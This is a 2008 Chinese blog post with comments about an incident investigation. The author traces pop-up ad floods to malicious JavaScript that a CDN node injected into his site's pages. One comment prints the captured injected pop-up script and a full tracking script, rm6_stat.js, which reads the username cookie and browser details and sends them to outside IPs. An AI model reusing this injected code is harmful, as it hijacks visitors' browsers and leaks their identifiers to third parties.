注册 | 登录 忘记密码? 51cto首页 | 博客 | 论坛 | 招聘
热点文章 获取当前页面路径,实现权..
 帮助

话说“六间房”


2008-01-22 12:21:55
版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 、作者信息和本声明。否则将追究法律责任。http://zoukejian.blog.51cto.com/131276/60233
一.问题出现
    那天,客服 MM 告诉我说,有北京的网友反映,在登录我们网站的时候,弹出大量的六间房广告窗口,浏览器马上就停止响应,崩溃了。开始,我不以为然,认为也就是这些个别的用户电脑“中镖”了吧。所以就告诉客服 MM 说,告诉那些投诉的网友,说是他们的电脑中毒了,杀杀毒也就 OK 了。下午,客服 MM 又来“骚扰”了,说是先前反映情况的北京网友按照我们的指点,用了最新的杀毒软件,但是没有查到病毒,而且杀毒后“涛声依旧”。并且,广州和深圳也有网友反映同样的情况。我开始意识到问题的严重性了。可是,由于当天维护任务比较多,我就拖了拖,准备第二天再来处理。第二天早上上班后,我打开邮箱,一封客服主管的邮件出现在眼前:内容大概是到今天凌晨为止,已有数十网友反映了六间房弹窗问题,请求技术及时解决。我心里恶狠狠地骂了一句“TMD,你个该死的六间房”,开始干活了。
二.问题跟进
    我想还是先上问题用户的电脑上去实地“侦查”一下吧。于是就叫客服 MM 提供他们的 QQ 号码,可是他们说现在还没有人提供,不过可以联系他们请求他们提供 QQ 号码。看来暂时没戏了。
    那就先上网看看吧。于是我先 google 了一下,发现跟“六间房弹窗”有关的“绯闻”还真不少,看来六间房这次又大出风头了。随便进入了一条跟我们的情况相似的网页,那是一个论坛的帖子,楼主的分析是,并非六间房在捣鬼,实际上是某个拉流量的网站在作怪,而六间房不过是背了黑锅而已,并且提出了解决方案:在机器的 hosts 文件里面,把那个拉流量的网站的域名解析为 127.0.0.1,问题就解决了。后面的跟贴,有人说这样搞定了,有人说这样没有用。不管那么多,先把这种解决方案记下来再说吧。
    继续看 google 搜出的结果。突然,360 出现在我的眼前。“难道这个问题跟木马恶意软件之内的东西也‘有一腿’”,我暗自问了一句。进去一看,原来是 360 的论坛,楼主说“六间房弹窗”实际上是由于一种十分厉害的木马在作怪,好像叫什么“隐身僵死木马”,名字挺恐怖。而且,还贴出了汇编语言写的清除代码,笔者当年也认真学过汇编语言,可是看不懂,看来自己对 windows 下的汇编技术还太差劲了。我打开了该页面上的一个链接,出现的是 360 对“隐身僵死木马”的相关描述,和他们开发出来的专杀工具。同样地,先把解决方案记录下来。
    解决方案找到了两种,接下来,就应该上出问题的用户的电脑上去“实验实验”了。再次 call 客服 MM, 这次他们提供了几个 QQ 号码给我,其中有一个是北京分公司一个同事的。我决定先从熟人下手。联系上了她,登录上了她的电脑,请她打开弹窗的页面。一时间,N各个窗口弹了出来,浏览器动不了了。我马上使用了第一种解决方案,修改系统的 hosts 文件,关闭浏览器,清除缓存文件,再访问弹窗页面,shit, “涛声依旧”啊。心里有几丝失望。再试试另外一种方案,下载 360 的专杀工具。不幸,360 专杀工具提示并没有发现“传说中”的“隐身僵死木马”。这下玩完儿了。
三.问题解决
    局势一下子陷入了僵局,客服那边叫得越来越厉害了,因为反映弹出问题的用户越来越多了。
    怎么办?
    怎么办?
    怎么办?
    看来,只有使用最后的杀手锏了,抓取数据包来分析。
    我在北京同事的电脑上装了 ethereal,再打开先前总是弹窗的页面,奇怪了,这次不弹窗了,关闭浏览器再试,还是不弹窗,重启电脑再试,还是不弹窗,“这不是摆明了要‘调戏’我吗”,我苦笑不已。
    北方的不行,我看看有没有南方用户的 QQ 号码(跟南方的用户做远程协助,效果比北方的好多了,南北分家,带给人的就是不方便)。嗯,不错,有一个深圳的小伙子的 QQ 号码,而且他也恰好在线。寒暄几句后,登录上了他的电脑。这次,我打算换一个抓包工具,毕竟是分析 HTTP 数据流,还是用专门分析 HTTP 数据流的工具,我用了 httpwatch。这次,抓取到了出现弹窗时的数据样本。经过分析,发现是在用户访问我们的某些网页的时候,被注入了恶意 js 造成的,而这些 js 的作用,就是反复打开六间房的广告窗口。再分析,发现该用户访问到的是大连的某个CDN 节点。接下来,我修改了自己电脑的 hosts 文件,把 public.xxxx.com 定位到该节点,再访问我们的 public.xxxxx.com, 眼前的窗口跳个不停,浏览器停止响应。Oh yeah,问题的根源找到了。原来就是这个 CDN 节点出了问题。我给我们的 CDN 厂商打电话,告诉他们情况,他们的反应,好像一点都不觉得惊奇,似乎见怪不怪了。他们的解释是,他们也不知道是怎么回事,这样的问题,经常发生在他们的大型网站客户身上。第二天,他们关闭了大连的 CDN 节点,一切恢复正常。
四.事后感悟
    回首整个过程,我感慨良多。
    不要轻易相信网上解决方案。人家的解决方案并不是错误的,但是可能并不适合解决你所碰到的问题,虽然表面上看起来,他们解决的是同样的问题。
    做技术的人,就要以技术说话,以数据说话,根据数据做分析,根据分析结果定解决方案。
    中国的互联网,怎么就那么乱呢?

本文出自 “邹可见” 博客,请务必保留此出处http://zoukejian.blog.51cto.com/131276/60233



上一篇 浅谈 MySQL  下一篇 我谈网络扫描 -- 之一



    文章评论
 
2008-01-22 14:11:56
恩 网上的答案一般也要有所筛选

2008-01-22 14:57:14
同感,网上的好多答案确实不准,尤其百度知道最典型

2008-01-22 16:39:56
注入了恶意 js 是个常用滴龌龊手段哦

2008-01-22 16:49:41
是啊,很烦人的。不知道到底是谁在搞鬼?小废物兄也有过类似的遭遇?

2008-01-22 17:49:16
网上的答案不准已是公开的秘密,个人认为有三方面原因:
1、实际情况不同--这是一个最普遍的原因。
  毕竟网上的解决方法仅是“作者”根据自已的实际情况所写的
2、有些“作者”的确不负责任——这是不可避免的原因
3、“转载”太多——这才是根源
  不是说不能“转载”,但“转载”前一定要确定所“转载”的方法是否可行,不能想当然的简单copy,而实际中由于各种原因使得那些二手“作者”省去了这关键的验证
  当用户遇到问题想在网上找到一个解决方法时,可能所看到的多篇文章都是出于那几个甚至是那一个版本,所以自然会有“不准”的感觉!
互联网——怎一个乱字了得......

2008-01-22 17:56:31
说的对!!!

2008-01-22 20:44:02
请教,有没有httpwatch抓包分析图?
我想瞧瞧到底是怎么回事。
如果我遇到了,我估计也搞不定。

2008-01-22 23:23:23
YAYAYA .看不太明白啊。
感觉就是抓住了 数据的流向。并通知了对方。
最后关闭了。就OK了。

又南又北的。 博主 维护 什么内容服务器的。

还不错还有人能让你QQ 远程维护啊

2008-01-23 09:18:30
需要一些 CDN 的知识才弄得明白。

排名很靠前的大型婚恋网站,只能说道这个份上了。

因为他是我们网站的注册用户,不能正常访问我们的网站,他也急呀,所以才会那么配合我的工作。

2008-01-23 09:29:10
内容被替换的网页的 HTTP response:
HTTP/1.0 200 OK
Content-Type: text/html
Age: 40491
Powered-By-ChinaCache: CNC-DL-3-331 HIT
FlexiCache-Lookup: HIT from CNC-DL-3-331:80
Connection: close

<html><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Refresh' content='0;URL='><script LangUage='JavaScript'>{child=window.open('http://6.cn/showmyweb/upageu16.html','','width=800,height=600,toolbar=yes,menubar=yes,location=yes,resizable=yes,status=yes');child.blur();}</script><head><title></title></head><body></body></html>


http://r.6.cn/rm6_stat.js 的内容:
function rm6_u_en(str) {
     var e="", i=0;
     for(i=0;i<str.length;i++){
           if(str.charCodeAt(i)>=0&&str.charCodeAt(i)<=255){
                 e=e+escape(str.charAt(i));
           }
           else{
                 e=e+str.charAt(i);
           }
     }
     return e;
}

function rm6_g_sr()
{
     if (self.screen)
     {
           sr=screen.width+"x"+screen.height;
     }
     else
     if (self.java) {
           var j=java.awt.Toolkit.getDefaultToolkit();
           var s=j.getScreenSize();
           sr=s.width+"x"+s.height;
     }
     return sr;
}

function rm6_g_sc()
{
     var sc="";
     if (self.screen) {
           sc=screen.colorDepth+"-bit";
     } return sc;
}

function rm6_g_lg()
{
     var lg="";
     var n=navigator;
     if (n.language) {
           lg=n.language.toLowerCase();
     }
     else
     if (n.browserLanguage) {
           lg=n.browserLanguage.toLowerCase();
     }
     return lg;
}

function rm6_g_ag()
{
     var ag="";
     var n=navigator;

     if (n.userAgent) {
           ag = n.userAgent;
     }
     return ag;
}

function rm6_g_je() {
     var je="";
     var n=navigator;
     je = n.javaEnabled()?1:0;
     return je;
}

function rm6_g_fl()
{
     var f="",n=navigator;
     if (n.plugins && n.plugins.length) {
           for (var ii=0;ii<n.plugins.length;ii++) {
                 if (n.plugins[ii].name.indexOf('Shockwave Flash')!=-1) {
                       f=n.plugins[ii].description.split('Shockwave Flash ')[1];
                             break;
                 }
           }
     }
     else
     if (window.ActiveXObject) {
           for (var ii=10;ii>=2;ii--) {
                 try {
                       var fl=eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash."+ii+"');");
                       if (fl) {
                             f=ii + '.0'; break;
                       }
           }
           catch(e) {
           }
     }
}

return f;
}

function rm6_g_co(name) {
     var mn=name+"=";
     var b,e;
     var co=document.cookie;

     if (mn=="=") {
           return co;
     }
     b=co.indexOf(mn);
     if (b < 0) {
           return "";
     }
     e=co.indexOf(";", b+name.length);
     if (e < 0) {
           return co.substring(b+name.length + 1);
     }
     else {
           return co.substring(b+name.length + 1, e);
     }
}

function rm6_s_co(name,val,cotp) {
     var date=new Date;
     var year=date.getYear(); var hour=date.getHours(); if (cotp == 0) { document.cookie=name+"="+val+";"; } else if (cotp == 1) { year=year+10; date.setYear(year); document.cookie=name+"="+val+";expires="+date.toGMTString()+";"; } else if (cotp == 2) { hour=hour+1; date.setHours(hour); document.cookie=name+"="+val+";expires="+date.toGMTString()+";"; } }

function rm6_g_so() {
     var so="";
     var n=navigator;

     if (n.appName) {
           so=n.appName;
     }

     return so;
}

function rm6_grm6m() {
     var date = new Date();
     var yy=date.getYear();
     var mm=date.getMonth();
     var dd=date.getDate();
     var hh=date.getHours();
     var ii=date.getMinutes();
     var ss=date.getSeconds();
     var i;
     var tm=0;

     for(i = 1970; i < yy; i++) {
           if ((i % 4 == 0 && i % 100 != 0) || (i % 100 == 0 && i % 400 == 0)) {
                 tm=tm+31622400;
           }
           else
           {
                 tm=tm+31536000;
           }
     }

     mm=mm+1;

     for(i = 1; i < mm; i++) {
           if (i == 1 || i == 3 || i == 5 || i == 7 || i == 8 || i == 10 || i == 12) {
                 tm=tm+2678400;
           }
           else {
                 if (i == 2) {
                       if ((yy % 4 == 0 && yy % 100 != 0) || (yy % 100 == 0 && yy % 400 == 0)) {
                             tm=tm+2505600;
                       }
                       else {
                             tm=tm+2419200;
                       }
                 }
                 else {
                       tm=tm+2592000;
                 }
           }
     }

     tm = tm + (dd-1) * 86400;
     tm = tm + hh * 3600;
     tm = tm + ii * 60;
     tm = tm + ss;

     return tm;
}

function rm6_g_ctm(str) {
     len=str.indexOf("_");
     str=str.substring(len+1);
     len=str.indexOf("_");
     str=str.substring(0,len);
     return parseInt(str, 10);
}

function $random(min, max){
     return Math.floor(Math.random() * (max - min + 1) + min);
}

function main() {
     var ipArr = ["122.70.135.84","122.70.135.85","122.70.135.87","122.70.135.88","122.70.141.117","122.70.141.118","122.70.141.119","122.70.141.120"] ;
     // ,"122.70.135.85"
     var rm6_ip = ipArr[$random(0,7)];
     var rm6_dest="/rm6_stat.do?";
     var rm6_usn="";
     var rm6_nuv=0;
     var rm6_uv ="";
     var rm6_ss ="";
     var rm6_ref="";
     var rm6_url="";
     var rm6_clr="";
     var rm6_scr="";
     var rm6_lng="";
     var rm6_agt="";
     var rm6_jav="";
     var rm6_flu="";
     var rm6_sof="";
     var rm6_cva="";
     var rm6_len=0;

     rm6_uv=rm6_g_co("rm6_stat_bck");
     if (rm6_uv=="") {
           rm6_nuv = 1;
           rm6_uv=String(Math.random())+String(Math.random());
           rm6_s_co("rm6_stat_bck", rm6_uv, 1);
     }

     rm6_usn=rm6_g_co("username");

     rm6_ss=rm6_g_co("rm6_stat_sck");

     if (rm6_ss=="") {
           rm6_ss=rm6_ip+"_"+rm6_grm6m()+"_"+String(Math.random())+String(Math.random());
           rm6_s_co("rm6_stat_sck", rm6_ss, 0);
     }
     else {
           if (rm6_grm6m() - rm6_g_ctm(rm6_ss) > rm6_expr_tm) {
                 rm6_ss=rm6_ip+"_"+rm6_grm6m()+"_"+String(Math.random())+String(Math.random());
           }
           rm6_s_co("rm6_stat_sck", rm6_ss, 0);
     }

     rm6_usn=rm6_u_en(String(rm6_usn));

     rm6_cva=String(Math.random())+String(Math.random());

     rm6_len=rm6_ss.indexOf("_");
     rm6_ip=rm6_ss.substring(0,rm6_len);

     rm6_ss=rm6_ss.substring(rm6_len+1);

     rm6_ref=document.referrer;
     rm6_ref=rm6_u_en(String(rm6_ref));

     rm6_url=document.URL;
     rm6_url=rm6_u_en(String(rm6_url));

     rm6_clr=rm6_g_sc();
     rm6_clr=rm6_u_en(String(rm6_clr));

     rm6_scr=rm6_g_sr();
     rm6_scr=rm6_u_en(String(rm6_scr));

     rm6_lng=rm6_g_lg();
     rm6_lng=rm6_u_en(String(rm6_lng));

     rm6_agt=rm6_g_ag();
     rm6_agt=rm6_u_en(String(rm6_agt));

     rm6_jav=rm6_g_je();
     rm6_jav=rm6_u_en(String(rm6_jav));

     rm6_flu=rm6_g_fl();
     rm6_flu=rm6_u_en(String(rm6_flu));

     rm6_sof=rm6_g_so();
     rm6_sof=rm6_u_en(String(rm6_sof));

     rm6_dest="http://"+rm6_ip+rm6_dest+"uv="+rm6_uv+"&nuv="+rm6_nuv+"&usn="+rm6_usn+"&ss="+rm6_ss+"&ref="+rm6_ref+"&url="+rm6_url+"&nac="+rm6_sof+"&agt="+rm6_agt+"&clr="+rm6_clr+"&scr="+rm6_scr+"&lng="+rm6_lng+"&jav="+rm6_jav+"&flu="+rm6_flu+"&cnu="+rm6_cva;

     document.open();
     document.write("<script language=\"JavaScript\" type=\"text/javascript\" src=\""+rm6_dest+"\"></script>");
     document.close();
}

main();

2008-01-25 15:29:55
不明白
有人说登录你网站中招,不是应该从网站本身查起的吗?然后清除吗?
为什么还要到用户电脑上操作呢?
可以自己找到虚拟机登录看看
而且网上的解决方案也只是对客户而言

2008-01-25 15:56:54
大型网站一般都会使用 源站 + 缓存 + CDN 的架构,其中任何一个环节出问题,都会导致用户访问异常。当时,因为我们的绝大多数用户访问正常,所以我们没有怀疑源站有问题。

2008-01-25 17:55:30
你排出是CDN节点出问题。抓包得知。
跟代码被替换有什么关系?

2008-01-28 09:47:20
楼上看文章总是不认真.嘻嘻.罚你再看一遍

2008-01-28 10:03:07
嘿嘿。看了一篇了。
http://hi.baidu.com/magini/blog/item/07c7e81f8c0cba0e304e1535.html
这篇写得更详细,易懂。

2008-01-28 10:51:09
那篇文章说的,跟我们网站的问题不是一回事,;那篇文章提出的解决方法,解决不了我们的问题。

 

发表评论

昵   称:
验证码:  点击图片可刷新验证码  博客过2级,无需填写验证码
内   容: